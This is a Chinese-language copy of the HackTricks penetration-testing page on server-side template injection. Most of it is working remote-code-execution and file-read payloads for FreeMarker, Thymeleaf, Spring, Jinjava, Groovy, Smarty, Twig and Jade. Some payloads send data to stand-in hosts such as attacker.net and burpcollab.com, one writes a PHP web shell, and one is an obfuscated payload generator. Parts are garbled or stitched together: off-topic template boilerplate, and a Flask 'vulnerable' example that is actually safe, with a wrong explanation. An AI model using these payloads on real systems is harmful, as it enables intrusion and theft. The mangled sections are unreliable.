58 KiB
SSTI(服务器端模板注入)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚集地。
{% embed url="https://www.rootedcon.com/" %}
什么是服务器端模板注入?
当攻击者能够使用本地模板语法将恶意有效负载注入到模板中,并在服务器端执行时,就会发生服务器端模板注入。
模板引擎旨在通过将固定模板与易变数据结合起来生成网页。当用户输入直接连接到模板而不是作为数据传递时,就可能发生服务器端模板注入攻击。这使得攻击者能够注入任意模板指令以操纵模板引擎,通常使他们能够完全控制服务器。
以下是一个易受攻击的代码示例:
$output = $twig->render("Dear " . $_GET['name']);
在前面的示例中,模板的一部分是使用GET
参数name
进行动态生成的。由于模板语法在服务器端进行评估,这可能允许攻击者将服务器端模板注入有效负载放置在name
参数中,如下所示:
http://vulnerable-website.com/?name={{bad-stuff-here}}
构建服务器端模板注入攻击
检测
与任何漏洞一样,利用漏洞的第一步是能够找到它。也许最简单的初始方法是通过注入一系列在模板表达式中常用的特殊字符来尝试模糊测试模板,例如多语言支持的${{<%[%'"}}%\
。
为了检查服务器是否存在漏洞,您应该观察参数上的常规数据和给定的有效负载之间的差异。
如果抛出错误,很容易确定服务器存在漏洞,甚至可以确定正在运行的引擎。但是,如果您期望服务器反映给定的有效负载,但实际上没有反映或者响应中有一些缺失的字符,也可能发现存在漏洞的服务器。
检测 - 明文上下文
给定的输入被渲染和反映到响应中。这很容易被误认为是一个简单的XSS漏洞,但如果您尝试在模板表达式中设置数学运算,就很容易区分出来:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
检测 - 代码上下文
在这些情况下,用户输入被放置在模板表达式中:
engine.render("Hello {{"+greeting+"}}", data)
访问该页面的URL可能类似于:http://vulnerable-website.com/?greeting=data.username
如果你改变了**greeting
参数的值,响应中将不包含用户名,但是如果你访问类似于:http://vulnerable-website.com/?greeting=data.username}}hello
,响应将包含用户名(如果闭合模板表达式字符为}}
)。
如果在这些测试过程中出现错误**,将更容易发现服务器存在漏洞。
识别
一旦你发现了模板注入的潜力,下一步是识别模板引擎。
尽管有大量的模板语言,但其中许多使用非常相似的语法,这些语法被特意选择为不与HTML字符冲突。
如果你很幸运,服务器将打印错误,你将能够在错误信息中找到使用的引擎。一些可能导致错误的有效载荷如下:
${} |
{{}} |
<%= %> |
---|---|---|
${7/0} |
{{7/0}} |
<%= 7/0 %> |
${foobar} |
{{foobar}} |
<%= foobar %> |
${7*7} |
{{7*7}} |
`` |
否则,你需要手动测试不同的语言特定有效载荷,并研究它们如何被模板引擎解释。一种常见的方法是使用不同模板引擎的语法注入任意数学运算,然后观察它们是否成功计算。为了帮助这个过程,你可以使用类似下面的决策树:
利用
读取
在发现模板注入并识别模板引擎后,第一步是阅读文档。感兴趣的关键领域包括:
- 涵盖基本语法的“为模板作者”部分。
- “安全注意事项” - 很有可能你正在测试的应用程序的开发者没有阅读这个部分,它可能包含一些有用的提示。
- 内置方法、函数、过滤器和变量的列表。
- 扩展/插件的列表 - 有些可能默认启用。
探索
假设没有发现任何漏洞,下一步是探索环境,找出你可以访问的内容。你可以期望找到模板引擎提供的默认对象和开发者通过模板传递给模板的应用程序特定对象。许多模板系统公开了一个包含作用域中所有内容的“self”或命名空间对象,以及列出对象属性和方法的惯用方式。
如果没有内置的self对象,你将不得不使用SecLists和Burp Intruder的单词列表集合来暴力破解变量名。
开发者提供的对象特别可能包含敏感信息,并且可能因应用程序中的不同模板而异,因此这个过程最好逐个独立应用于每个不同的模板。
攻击
此时,你应该对可攻击的攻击面有一个明确的了解,并能够继续使用传统的安全审计技术,审查每个函数是否存在可利用的漏洞。重要的是要将这个过程放在更广泛的应用程序上下文中进行 - 一些函数可以用于利用应用程序特定功能。接下来的示例将使用模板注入来触发任意对象创建、任意文件读取/写入、远程文件包含、信息泄露和权限提升漏洞。
工具
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
漏洞利用
通用
在这个字典中,你可以找到下面提到的一些引擎环境中定义的变量:
Java
Java - 基本注入
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - 获取系统环境变量
在Java中,可以使用System.getenv()
方法来检索系统的环境变量。该方法返回一个Map
对象,其中包含了所有的环境变量及其对应的值。
以下是一个示例代码,演示如何使用System.getenv()
方法来检索系统的环境变量:
import java.util.Map;
public class RetrieveEnvironmentVariables {
public static void main(String[] args) {
Map<String, String> envVariables = System.getenv();
for (Map.Entry<String, String> entry : envVariables.entrySet()) {
System.out.println(entry.getKey() + " = " + entry.getValue());
}
}
}
运行以上代码,将会输出系统的所有环境变量及其对应的值。
${T(java.lang.System).getenv()}
Java - 获取 /etc/passwd 文件
在某些情况下,当服务器端模板注入(Server-Side Template Injection,SSTI)漏洞存在时,可以利用Java语言来检索服务器上的 /etc/passwd 文件。以下是一种可能的方法:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RetrievePasswd {
public static void main(String[] args) {
try {
String command = "cat /etc/passwd";
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
请注意,这种方法仅适用于存在SSTI漏洞的情况,并且需要具有执行命令的权限。在实际渗透测试中,应该遵循法律和道德规范,并获得合法的授权。
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
您可以在https://try.freemarker.apache.org上尝试您的有效载荷
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} 无效
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - 沙盒绕过
⚠️ 仅适用于Freemarker版本低于2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
更多信息
- 在https://portswigger.net/research/server-side-template-injection的FreeMarker部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
更多信息
- 在Velocity部分的https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf(Java)
SSTI的典型测试表达式是${7*7}
。这个表达式在Thymeleaf中也适用。如果你想实现远程代码执行,可以使用以下测试表达式之一:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
然而,正如我们之前提到的,表达式只在特殊的Thymeleaf属性中起作用。如果需要在模板的其他位置使用表达式,Thymeleaf支持_表达式内联_。要使用此功能,必须将表达式放在[[...]]
或[(...)]
中(根据是否需要转义特殊符号选择其中之一)。因此,Thymeleaf的一个简单的SSTI检测载荷将是[[${7*7}]]
。
然而,上述检测载荷能够起作用的机会非常低。SSTI漏洞通常发生在代码中动态生成模板的情况下。默认情况下,Thymeleaf不允许这样的动态生成模板,所有模板必须事先创建好。因此,如果开发人员想要从字符串中动态创建模板,他们需要创建自己的TemplateResolver。这是可能的,但非常罕见。
如果我们深入研究Thymeleaf模板引擎的文档,我们会发现一个有趣的功能,称为_表达式预处理_。放置在双下划线(__...__
)之间的表达式将被预处理,并且预处理的结果将作为表达式的一部分在常规处理过程中使用。这是Thymeleaf文档中的一个官方示例:
#{selection.__${sel.code}__}
易受攻击的示例
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name')
template = '''
<h1>Welcome, {{ name }}!</h1>
'''
return render_template_string(template, name=name)
if __name__ == '__main__':
app.run()
This vulnerable example demonstrates a Server-Side Template Injection (SSTI) vulnerability in a Flask web application. The application takes a user-supplied parameter name
from the query string and renders it directly in the template using the render_template_string
function.
An attacker can exploit this vulnerability by injecting malicious template code into the name
parameter. Since the template code is executed on the server-side, the attacker can execute arbitrary code and potentially gain unauthorized access to sensitive information or perform other malicious actions.
To exploit this vulnerability, an attacker can craft a payload that includes template code to execute arbitrary commands or access server-side resources. For example, the following payload can be used to execute the ls
command and retrieve a directory listing:
http://example.com/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/').listdir('.') }}
In this payload, the name
parameter is set to {{ ''.__class__.__mro__[2].__subclasses__()[40]('/').listdir('.') }}
, which retrieves the listdir
method from the os
module and executes it with the current directory as the argument.
To mitigate SSTI vulnerabilities, it is important to properly validate and sanitize user-supplied input before using it in templates. Additionally, using a template engine that automatically escapes user input can help prevent template injection attacks.
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
更多信息
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework(Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
绕过过滤器
如果${...}
不起作用,可以尝试使用#{...}
、*{...}
、@{...}
或~{...}
来使用多个变量表达式。
- 读取
/etc/passwd
文件
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- 用于生成payload的自定义脚本
import requests
def generate_payload(template, command):
payload = template.replace("{{command}}", command)
return payload
def send_payload(url, payload):
response = requests.post(url, data=payload)
return response.text
template = """
{{command}}
"""
command = "ls -la"
url = "http://example.com"
payload = generate_payload(template, command)
response = send_payload(url, payload)
print(response)
使用自定义脚本生成payload的方法如下:
import requests
def generate_payload(template, command):
payload = template.replace("{{command}}", command)
return payload
def send_payload(url, payload):
response = requests.post(url, data=payload)
return response.text
template = """
{{command}}
"""
command = "ls -la"
url = "http://example.com"
payload = generate_payload(template, command)
response = send_payload(url, payload)
print(response)
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
更多信息
Spring视图操纵(Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble(Java)
{{ someString.toUPPERCASE() }}
Pebble的旧版本(< 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble的新版本:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava(Java)
Jinjava is a Java-based template engine that allows for server-side template injection (SSTI) attacks. It is commonly used in web applications built with Java frameworks such as Spring Boot.
Exploiting Jinjava SSTI
To exploit Jinjava SSTI, you need to identify the injection point in the application where user-supplied input is directly included in the template. This can typically be found in places where the application dynamically generates HTML or other types of documents.
Once you have identified the injection point, you can craft a payload that will be executed as Jinjava code. This payload can include Jinjava expressions, filters, and functions to manipulate the template and execute arbitrary code on the server.
Payload Examples
Here are some examples of payloads that can be used to exploit Jinjava SSTI:
-
Basic Payload:
${7*7}
- This payload will execute the expression7*7
and return the result (49
). -
Command Execution:
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("ls")}
- This payload will execute thels
command on the server and return the output. -
File Read:
${"".getClass().forName("java.nio.file.Files").readAllBytes(java.nio.file.Paths.get("/etc/passwd"))}
- This payload will read the contents of the/etc/passwd
file on the server and return them.
Mitigation
To mitigate Jinjava SSTI attacks, it is important to properly validate and sanitize user input before including it in templates. Input validation should include checking for malicious characters and patterns that could be used to inject Jinjava code.
Additionally, it is recommended to use a secure template engine that has built-in protection against SSTI attacks.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava是由Hubspot开发的开源项目,可在https://github.com/HubSpot/jinjava/上找到。
Jinjava - 命令执行
修复链接:https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
更多信息
Hubspot - HuBL (Java)
{% %}
语句分隔符{{ }}
表达式分隔符{# #}
注释分隔符{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 Jinjava 项目在 Github 上的链接。
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
更多信息
表达式语言 - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
EL为启用表示层(网页)与应用逻辑(托管的bean)之间的通信提供了重要机制。EL被多个JavaEE技术使用,例如JavaServer Faces技术、JavaServer Pages(JSP)技术和Java EE的上下文和依赖注入(CDI)。
查看以下页面以了解更多关于利用EL解释器的漏洞利用的信息:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
此安全管理器绕过方法来自于这个解析。
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚会。
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
更多信息
- 在https://portswigger.net/research/server-side-template-injection的Smarty部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Twig - 模板格式
Twig is a popular template engine used in many web applications, including the Symfony framework. It provides a flexible and secure way to render dynamic content in templates.
Twig templates are written in a syntax that is similar to HTML, but with additional features and tags specific to Twig. These features include variables, filters, functions, control structures, and template inheritance.
Variables in Twig are enclosed in double curly braces, like {{ variable }}
. They can hold any type of data, such as strings, numbers, arrays, or objects. Variables can be accessed and manipulated using filters and functions.
Filters in Twig are used to modify the output of variables. They are applied using the pipe character (|
) followed by the filter name and any additional arguments. For example, {{ variable | filter(argument) }}
.
Functions in Twig are similar to filters, but they are used to perform more complex operations. They are called using the function name followed by parentheses and any arguments. For example, {{ function(argument) }}
.
Control structures in Twig allow you to perform conditional and iterative operations. These include if
statements, for
loops, and foreach
loops. They are written using special tags, such as {% if condition %}...{% endif %}
.
Template inheritance in Twig allows you to create a base template that can be extended by other templates. This is useful for reusing common elements across multiple pages. The base template defines blocks that can be overridden in the child templates.
Overall, Twig provides a powerful and secure way to create dynamic templates in web applications. However, it is important to be aware of the potential security risks associated with server-side template injection (SSTI) vulnerabilities, which can allow an attacker to execute arbitrary code on the server.
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
更多信息
- 在Twig和Twig(沙盒)部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates(PHP)
Plates受到Twig的启发,但是是一个原生的PHP模板引擎,而不是编译模板引擎。
控制器:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
页面模板:
<!DOCTYPE html>
<html>
<head>
<title>My Website</title>
</head>
<body>
<h1>Welcome to My Website</h1>
<p>This is a sample page template.</p>
<p>Feel free to customize it as per your needs.</p>
</body>
</html>
The above code represents a basic page template for a website. It includes the HTML structure with a title, heading, and paragraphs. You can modify this template according to your requirements.
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
布局模板:
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<h1>Welcome to my website!</h1>
<div>
<!-- Content goes here -->
</div>
<footer>
<p>© 2022 My Website. All rights reserved.</p>
</footer>
</body>
</html>
模板布局:
<!DOCTYPE html>
<html>
<head>
<title>页面标题</title>
</head>
<body>
<h1>欢迎访问我的网站!</h1>
<div>
<!-- 内容放在这里 -->
</div>
<footer>
<p>© 2022 我的网站。保留所有权利。</p>
</footer>
</body>
</html>
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
PHPlib和HTML_Template_PHPLIB(PHP)
HTML_Template_PHPLIB与PHPlib相同,但已移植到Pear。
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
SSTI (Server-Side Template Injection)
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.
Exploiting SSTI in authors.php
In the authors.php
file, there may be a vulnerability that allows for SSTI. This vulnerability can be exploited by injecting malicious code into the server-side template.
To exploit this vulnerability, follow these steps:
-
Identify the injection point: Look for user-controlled input that is directly used in the template engine. This can include variables, function calls, or other template constructs.
-
Craft the payload: Create a payload that will execute arbitrary code on the server. This can be done by injecting code that will be executed by the template engine.
-
Test the payload: Inject the payload into the vulnerable input and observe the server's response. If the payload is executed and the server's response includes the expected output, then the vulnerability has been successfully exploited.
-
Exploit the vulnerability: Once the vulnerability has been confirmed, the attacker can proceed to exploit it further. This can include executing arbitrary commands, accessing sensitive information, or even gaining remote access to the server.
Prevention and Mitigation
To prevent SSTI vulnerabilities, it is important to follow secure coding practices:
-
Input validation and sanitization: Always validate and sanitize user input before using it in a template engine. This can help prevent malicious code from being injected.
-
Use a secure template engine: Choose a template engine that has built-in security features, such as automatic escaping of user input. This can help mitigate the impact of SSTI vulnerabilities.
-
Keep software up to date: Regularly update the software and libraries used in your application to ensure that any known vulnerabilities are patched.
-
Implement strict access controls: Limit the privileges of the server-side template engine to minimize the potential impact of an SSTI vulnerability.
By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Jade(NodeJS)
Jade是一个基于NodeJS的模板引擎,用于生成HTML。它使用简洁的语法和缩进来创建模板,然后将其编译为HTML。Jade模板可以包含动态内容和表达式,使其具有强大的灵活性。
检测SSTI漏洞
要检测Jade模板中的SSTI漏洞,可以尝试在模板中插入恶意代码,并查看是否能够执行。以下是一些常见的注入点:
- 属性值:尝试在属性值中插入恶意代码,例如
<img src="x" onerror="alert('XSS')">
。 - 文本内容:尝试在文本内容中插入恶意代码,例如
<script>alert('XSS')</script>
。 - 表达式:尝试在表达式中插入恶意代码,例如
#{7*7}
。
防御措施
要防止SSTI漏洞,可以采取以下措施:
- 输入验证和过滤:对用户输入进行验证和过滤,确保只接受预期的输入。
- 模板沙盒化:将模板引擎配置为运行在沙盒环境中,限制其访问敏感资源。
- 模板白名单:限制可用的模板标签和函数,只允许使用安全的选项。
- 输入编码:对用户输入进行适当的编码,以防止注入攻击。
漏洞利用
如果成功利用了SSTI漏洞,攻击者可以执行任意代码,包括读取敏感数据、执行系统命令等。因此,及时修复和防止SSTI漏洞非常重要。
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
更多信息
- 在Jade部分的https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate 是一个非编译的PHP模板引擎,使用XML标签将文档分成不同的部分。
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
